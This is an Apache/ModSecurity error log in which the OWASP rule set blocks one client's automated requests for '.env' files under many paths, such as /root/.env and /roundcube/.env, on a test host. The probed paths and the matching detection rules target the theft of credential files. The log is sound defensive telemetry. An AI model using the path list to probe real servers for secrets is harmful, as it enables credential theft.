[Mon Jul 28 20:46:17.370813 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/phpmyadmin/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNWQAAAAQ&quot;]
[Mon Jul 28 20:46:17.370977 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/phpmyadmin/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNWQAAAAQ&quot;]
[Mon Jul 28 20:46:17.393164 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/rabbitmq/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rabbitmq/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNWgAAAAQ&quot;]
[Mon Jul 28 20:46:17.393372 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rabbitmq/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNWgAAAAQ&quot;]
[Mon Jul 28 20:46:17.393553 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rabbitmq/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNWgAAAAQ&quot;]
[Mon Jul 28 20:46:17.429252 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/rediscommander/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rediscommander/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNWwAAAAQ&quot;]
[Mon Jul 28 20:46:17.429469 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rediscommander/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNWwAAAAQ&quot;]
[Mon Jul 28 20:46:17.429636 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rediscommander/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNWwAAAAQ&quot;]
[Mon Jul 28 20:46:17.451656 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resourcesync/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resourcesync/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNXAAAAAQ&quot;]
[Mon Jul 28 20:46:17.451870 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resourcesync/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNXAAAAAQ&quot;]
[Mon Jul 28 20:46:17.452021 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resourcesync/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNXAAAAAQ&quot;]
[Mon Jul 28 20:46:17.497244 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNXgAAAAQ&quot;]
[Mon Jul 28 20:46:17.497425 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNXgAAAAQ&quot;]
[Mon Jul 28 20:46:17.497578 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNXgAAAAQ&quot;]
[Mon Jul 28 20:46:17.519814 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /restapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/restapi/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNXwAAAAQ&quot;]
[Mon Jul 28 20:46:17.520011 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/restapi/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNXwAAAAQ&quot;]
[Mon Jul 28 20:46:17.520174 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/restapi/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNXwAAAAQ&quot;]
[Mon Jul 28 20:46:17.542499 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /results/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/results/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNYAAAAAQ&quot;]
[Mon Jul 28 20:46:17.542702 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/results/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNYAAAAAQ&quot;]
[Mon Jul 28 20:46:17.542860 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/results/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNYAAAAAQ&quot;]
[Mon Jul 28 20:46:17.587937 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /robots/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/robots/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNYgAAAAQ&quot;]
[Mon Jul 28 20:46:17.588124 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/robots/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNYgAAAAQ&quot;]
[Mon Jul 28 20:46:17.588341 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/robots/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNYgAAAAQ&quot;]
[Mon Jul 28 20:46:17.633878 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNZAAAAAQ&quot;]
[Mon Jul 28 20:46:17.634092 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNZAAAAAQ&quot;]
[Mon Jul 28 20:46:17.634264 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNZAAAAAQ&quot;]
[Mon Jul 28 20:46:17.657511 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rosterback/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rosterBack/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNZQAAAAQ&quot;]
[Mon Jul 28 20:46:17.657719 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rosterBack/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNZQAAAAQ&quot;]
[Mon Jul 28 20:46:17.657876 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rosterBack/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNZQAAAAQ&quot;]
[Mon Jul 28 20:46:17.679926 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /roundcube/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcube/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNZgAAAAQ&quot;]
[Mon Jul 28 20:46:17.680121 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcube/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNZgAAAAQ&quot;]
[Mon Jul 28 20:46:17.680297 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcube/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNZgAAAAQ&quot;]
[Mon Jul 28 20:46:17.702424 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /roundcubemail/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcubemail/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNZwAAAAQ&quot;]
